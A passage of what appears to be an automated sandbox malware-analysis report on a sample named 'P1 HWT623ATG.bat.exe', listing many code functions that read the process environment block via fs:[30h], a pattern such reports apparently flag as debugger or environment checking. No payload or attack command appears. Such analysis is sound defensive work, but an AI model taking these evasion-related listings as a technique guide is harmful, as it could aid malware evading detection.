            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012383C0 mov eax, dword ptr fs:[00000030h]9_2_012383C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012383C0 mov eax, dword ptr fs:[00000030h]9_2_012383C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012383C0 mov eax, dword ptr fs:[00000030h]9_2_012383C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B63C0 mov eax, dword ptr fs:[00000030h]9_2_012B63C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE3DB mov eax, dword ptr fs:[00000030h]9_2_012DE3DB
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE3DB mov eax, dword ptr fs:[00000030h]9_2_012DE3DB
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE3DB mov ecx, dword ptr fs:[00000030h]9_2_012DE3DB
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DE3DB mov eax, dword ptr fs:[00000030h]9_2_012DE3DB
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D43D4 mov eax, dword ptr fs:[00000030h]9_2_012D43D4
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D43D4 mov eax, dword ptr fs:[00000030h]9_2_012D43D4
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122823B mov eax, dword ptr fs:[00000030h]9_2_0122823B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01234260 mov eax, dword ptr fs:[00000030h]9_2_01234260
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01234260 mov eax, dword ptr fs:[00000030h]9_2_01234260
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01234260 mov eax, dword ptr fs:[00000030h]9_2_01234260
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122826B mov eax, dword ptr fs:[00000030h]9_2_0122826B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0274 mov eax, dword ptr fs:[00000030h]9_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0274 mov eax, dword ptr fs:[00000030h]9_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0274 mov eax, dword ptr fs:[00000030h]9_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0274 mov eax, dword ptr fs:[00000030h]9_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0274 mov eax, dword ptr fs:[00000030h]9_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0274 mov eax, dword ptr fs:[00000030h]9_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0274 mov eax, dword ptr fs:[00000030h]9_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0274 mov eax, dword ptr fs:[00000030h]9_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0274 mov eax, dword ptr fs:[00000030h]9_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0274 mov eax, dword ptr fs:[00000030h]9_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0274 mov eax, dword ptr fs:[00000030h]9_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E0274 mov eax, dword ptr fs:[00000030h]9_2_012E0274
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B8243 mov eax, dword ptr fs:[00000030h]9_2_012B8243
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B8243 mov ecx, dword ptr fs:[00000030h]9_2_012B8243
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122A250 mov eax, dword ptr fs:[00000030h]9_2_0122A250
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01236259 mov eax, dword ptr fs:[00000030h]9_2_01236259
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012EA250 mov eax, dword ptr fs:[00000030h]9_2_012EA250
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012EA250 mov eax, dword ptr fs:[00000030h]9_2_012EA250
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012402A0 mov eax, dword ptr fs:[00000030h]9_2_012402A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012402A0 mov eax, dword ptr fs:[00000030h]9_2_012402A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C62A0 mov eax, dword ptr fs:[00000030h]9_2_012C62A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C62A0 mov ecx, dword ptr fs:[00000030h]9_2_012C62A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C62A0 mov eax, dword ptr fs:[00000030h]9_2_012C62A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C62A0 mov eax, dword ptr fs:[00000030h]9_2_012C62A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C62A0 mov eax, dword ptr fs:[00000030h]9_2_012C62A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C62A0 mov eax, dword ptr fs:[00000030h]9_2_012C62A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E284 mov eax, dword ptr fs:[00000030h]9_2_0126E284
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E284 mov eax, dword ptr fs:[00000030h]9_2_0126E284
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B0283 mov eax, dword ptr fs:[00000030h]9_2_012B0283
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B0283 mov eax, dword ptr fs:[00000030h]9_2_012B0283
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B0283 mov eax, dword ptr fs:[00000030h]9_2_012B0283
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012402E1 mov eax, dword ptr fs:[00000030h]9_2_012402E1
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012402E1 mov eax, dword ptr fs:[00000030h]9_2_012402E1
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012402E1 mov eax, dword ptr fs:[00000030h]9_2_012402E1
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A2C3 mov eax, dword ptr fs:[00000030h]9_2_0123A2C3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A2C3 mov eax, dword ptr fs:[00000030h]9_2_0123A2C3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A2C3 mov eax, dword ptr fs:[00000030h]9_2_0123A2C3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A2C3 mov eax, dword ptr fs:[00000030h]9_2_0123A2C3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A2C3 mov eax, dword ptr fs:[00000030h]9_2_0123A2C3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240535 mov eax, dword ptr fs:[00000030h]9_2_01240535
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240535 mov eax, dword ptr fs:[00000030h]9_2_01240535
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240535 mov eax, dword ptr fs:[00000030h]9_2_01240535
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240535 mov eax, dword ptr fs:[00000030h]9_2_01240535
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240535 mov eax, dword ptr fs:[00000030h]9_2_01240535
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240535 mov eax, dword ptr fs:[00000030h]9_2_01240535
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E53E mov eax, dword ptr fs:[00000030h]9_2_0125E53E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E53E mov eax, dword ptr fs:[00000030h]9_2_0125E53E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E53E mov eax, dword ptr fs:[00000030h]9_2_0125E53E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E53E mov eax, dword ptr fs:[00000030h]9_2_0125E53E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E53E mov eax, dword ptr fs:[00000030h]9_2_0125E53E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C6500 mov eax, dword ptr fs:[00000030h]9_2_012C6500
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01304500 mov eax, dword ptr fs:[00000030h]9_2_01304500
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01304500 mov eax, dword ptr fs:[00000030h]9_2_01304500
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01304500 mov eax, dword ptr fs:[00000030h]9_2_01304500
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01304500 mov eax, dword ptr fs:[00000030h]9_2_01304500
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01304500 mov eax, dword ptr fs:[00000030h]9_2_01304500
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01304500 mov eax, dword ptr fs:[00000030h]9_2_01304500
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01304500 mov eax, dword ptr fs:[00000030h]9_2_01304500
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126656A mov eax, dword ptr fs:[00000030h]9_2_0126656A
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126656A mov eax, dword ptr fs:[00000030h]9_2_0126656A
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126656A mov eax, dword ptr fs:[00000030h]9_2_0126656A
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01238550 mov eax, dword ptr fs:[00000030h]9_2_01238550
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01238550 mov eax, dword ptr fs:[00000030h]9_2_01238550
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B05A7 mov eax, dword ptr fs:[00000030h]9_2_012B05A7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B05A7 mov eax, dword ptr fs:[00000030h]9_2_012B05A7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B05A7 mov eax, dword ptr fs:[00000030h]9_2_012B05A7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012545B1 mov eax, dword ptr fs:[00000030h]9_2_012545B1
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012545B1 mov eax, dword ptr fs:[00000030h]9_2_012545B1
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01232582 mov eax, dword ptr fs:[00000030h]9_2_01232582
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01232582 mov ecx, dword ptr fs:[00000030h]9_2_01232582
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01264588 mov eax, dword ptr fs:[00000030h]9_2_01264588
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E59C mov eax, dword ptr fs:[00000030h]9_2_0126E59C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E5E7 mov eax, dword ptr fs:[00000030h]9_2_0125E5E7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E5E7 mov eax, dword ptr fs:[00000030h]9_2_0125E5E7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E5E7 mov eax, dword ptr fs:[00000030h]9_2_0125E5E7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E5E7 mov eax, dword ptr fs:[00000030h]9_2_0125E5E7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E5E7 mov eax, dword ptr fs:[00000030h]9_2_0125E5E7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E5E7 mov eax, dword ptr fs:[00000030h]9_2_0125E5E7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E5E7 mov eax, dword ptr fs:[00000030h]9_2_0125E5E7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E5E7 mov eax, dword ptr fs:[00000030h]9_2_0125E5E7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012325E0 mov eax, dword ptr fs:[00000030h]9_2_012325E0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126C5ED mov eax, dword ptr fs:[00000030h]9_2_0126C5ED
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126C5ED mov eax, dword ptr fs:[00000030h]9_2_0126C5ED
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E5CF mov eax, dword ptr fs:[00000030h]9_2_0126E5CF
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E5CF mov eax, dword ptr fs:[00000030h]9_2_0126E5CF
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012365D0 mov eax, dword ptr fs:[00000030h]9_2_012365D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126A5D0 mov eax, dword ptr fs:[00000030h]9_2_0126A5D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126A5D0 mov eax, dword ptr fs:[00000030h]9_2_0126A5D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122E420 mov eax, dword ptr fs:[00000030h]9_2_0122E420
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122E420 mov eax, dword ptr fs:[00000030h]9_2_0122E420
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122E420 mov eax, dword ptr fs:[00000030h]9_2_0122E420
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122C427 mov eax, dword ptr fs:[00000030h]9_2_0122C427
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B6420 mov eax, dword ptr fs:[00000030h]9_2_012B6420
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B6420 mov eax, dword ptr fs:[00000030h]9_2_012B6420
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B6420 mov eax, dword ptr fs:[00000030h]9_2_012B6420
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B6420 mov eax, dword ptr fs:[00000030h]9_2_012B6420
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B6420 mov eax, dword ptr fs:[00000030h]9_2_012B6420
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B6420 mov eax, dword ptr fs:[00000030h]9_2_012B6420
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B6420 mov eax, dword ptr fs:[00000030h]9_2_012B6420
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126A430 mov eax, dword ptr fs:[00000030h]9_2_0126A430
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01268402 mov eax, dword ptr fs:[00000030h]9_2_01268402
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01268402 mov eax, dword ptr fs:[00000030h]9_2_01268402
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01268402 mov eax, dword ptr fs:[00000030h]9_2_01268402
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BC460 mov ecx, dword ptr fs:[00000030h]9_2_012BC460
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125A470 mov eax, dword ptr fs:[00000030h]9_2_0125A470
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125A470 mov eax, dword ptr fs:[00000030h]9_2_0125A470
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125A470 mov eax, dword ptr fs:[00000030h]9_2_0125A470
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E443 mov eax, dword ptr fs:[00000030h]9_2_0126E443
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E443 mov eax, dword ptr fs:[00000030h]9_2_0126E443
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E443 mov eax, dword ptr fs:[00000030h]9_2_0126E443
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E443 mov eax, dword ptr fs:[00000030h]9_2_0126E443
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E443 mov eax, dword ptr fs:[00000030h]9_2_0126E443
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E443 mov eax, dword ptr fs:[00000030h]9_2_0126E443
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E443 mov eax, dword ptr fs:[00000030h]9_2_0126E443
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126E443 mov eax, dword ptr fs:[00000030h]9_2_0126E443
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012EA456 mov eax, dword ptr fs:[00000030h]9_2_012EA456
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122645D mov eax, dword ptr fs:[00000030h]9_2_0122645D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125245A mov eax, dword ptr fs:[00000030h]9_2_0125245A
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012364AB mov eax, dword ptr fs:[00000030h]9_2_012364AB
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012644B0 mov ecx, dword ptr fs:[00000030h]9_2_012644B0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BA4B0 mov eax, dword ptr fs:[00000030h]9_2_012BA4B0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012EA49A mov eax, dword ptr fs:[00000030h]9_2_012EA49A
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012304E5 mov ecx, dword ptr fs:[00000030h]9_2_012304E5
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126C720 mov eax, dword ptr fs:[00000030h]9_2_0126C720
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126C720 mov eax, dword ptr fs:[00000030h]9_2_0126C720
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126273C mov eax, dword ptr fs:[00000030h]9_2_0126273C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126273C mov ecx, dword ptr fs:[00000030h]9_2_0126273C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126273C mov eax, dword ptr fs:[00000030h]9_2_0126273C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AC730 mov eax, dword ptr fs:[00000030h]9_2_012AC730
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126C700 mov eax, dword ptr fs:[00000030h]9_2_0126C700
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01230710 mov eax, dword ptr fs:[00000030h]9_2_01230710
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01260710 mov eax, dword ptr fs:[00000030h]9_2_01260710
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01238770 mov eax, dword ptr fs:[00000030h]9_2_01238770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240770 mov eax, dword ptr fs:[00000030h]9_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240770 mov eax, dword ptr fs:[00000030h]9_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240770 mov eax, dword ptr fs:[00000030h]9_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240770 mov eax, dword ptr fs:[00000030h]9_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240770 mov eax, dword ptr fs:[00000030h]9_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240770 mov eax, dword ptr fs:[00000030h]9_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240770 mov eax, dword ptr fs:[00000030h]9_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240770 mov eax, dword ptr fs:[00000030h]9_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240770 mov eax, dword ptr fs:[00000030h]9_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240770 mov eax, dword ptr fs:[00000030h]9_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240770 mov eax, dword ptr fs:[00000030h]9_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240770 mov eax, dword ptr fs:[00000030h]9_2_01240770
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126674D mov esi, dword ptr fs:[00000030h]9_2_0126674D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126674D mov eax, dword ptr fs:[00000030h]9_2_0126674D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126674D mov eax, dword ptr fs:[00000030h]9_2_0126674D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01230750 mov eax, dword ptr fs:[00000030h]9_2_01230750
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BE75D mov eax, dword ptr fs:[00000030h]9_2_012BE75D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272750 mov eax, dword ptr fs:[00000030h]9_2_01272750
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272750 mov eax, dword ptr fs:[00000030h]9_2_01272750
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B4755 mov eax, dword ptr fs:[00000030h]9_2_012B4755
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012307AF mov eax, dword ptr fs:[00000030h]9_2_012307AF
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E47A0 mov eax, dword ptr fs:[00000030h]9_2_012E47A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D678E mov eax, dword ptr fs:[00000030h]9_2_012D678E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012527ED mov eax, dword ptr fs:[00000030h]9_2_012527ED
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012527ED mov eax, dword ptr fs:[00000030h]9_2_012527ED
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012527ED mov eax, dword ptr fs:[00000030h]9_2_012527ED
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BE7E1 mov eax, dword ptr fs:[00000030h]9_2_012BE7E1
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012347FB mov eax, dword ptr fs:[00000030h]9_2_012347FB
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012347FB mov eax, dword ptr fs:[00000030h]9_2_012347FB
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123C7C0 mov eax, dword ptr fs:[00000030h]9_2_0123C7C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B07C3 mov eax, dword ptr fs:[00000030h]9_2_012B07C3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124E627 mov eax, dword ptr fs:[00000030h]9_2_0124E627
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01266620 mov eax, dword ptr fs:[00000030h]9_2_01266620
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01268620 mov eax, dword ptr fs:[00000030h]9_2_01268620
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123262C mov eax, dword ptr fs:[00000030h]9_2_0123262C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AE609 mov eax, dword ptr fs:[00000030h]9_2_012AE609
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124260B mov eax, dword ptr fs:[00000030h]9_2_0124260B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124260B mov eax, dword ptr fs:[00000030h]9_2_0124260B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124260B mov eax, dword ptr fs:[00000030h]9_2_0124260B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124260B mov eax, dword ptr fs:[00000030h]9_2_0124260B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124260B mov eax, dword ptr fs:[00000030h]9_2_0124260B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124260B mov eax, dword ptr fs:[00000030h]9_2_0124260B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124260B mov eax, dword ptr fs:[00000030h]9_2_0124260B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272619 mov eax, dword ptr fs:[00000030h]9_2_01272619
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F866E mov eax, dword ptr fs:[00000030h]9_2_012F866E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F866E mov eax, dword ptr fs:[00000030h]9_2_012F866E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126A660 mov eax, dword ptr fs:[00000030h]9_2_0126A660
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126A660 mov eax, dword ptr fs:[00000030h]9_2_0126A660
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01262674 mov eax, dword ptr fs:[00000030h]9_2_01262674
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0124C640 mov eax, dword ptr fs:[00000030h]9_2_0124C640
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126C6A6 mov eax, dword ptr fs:[00000030h]9_2_0126C6A6
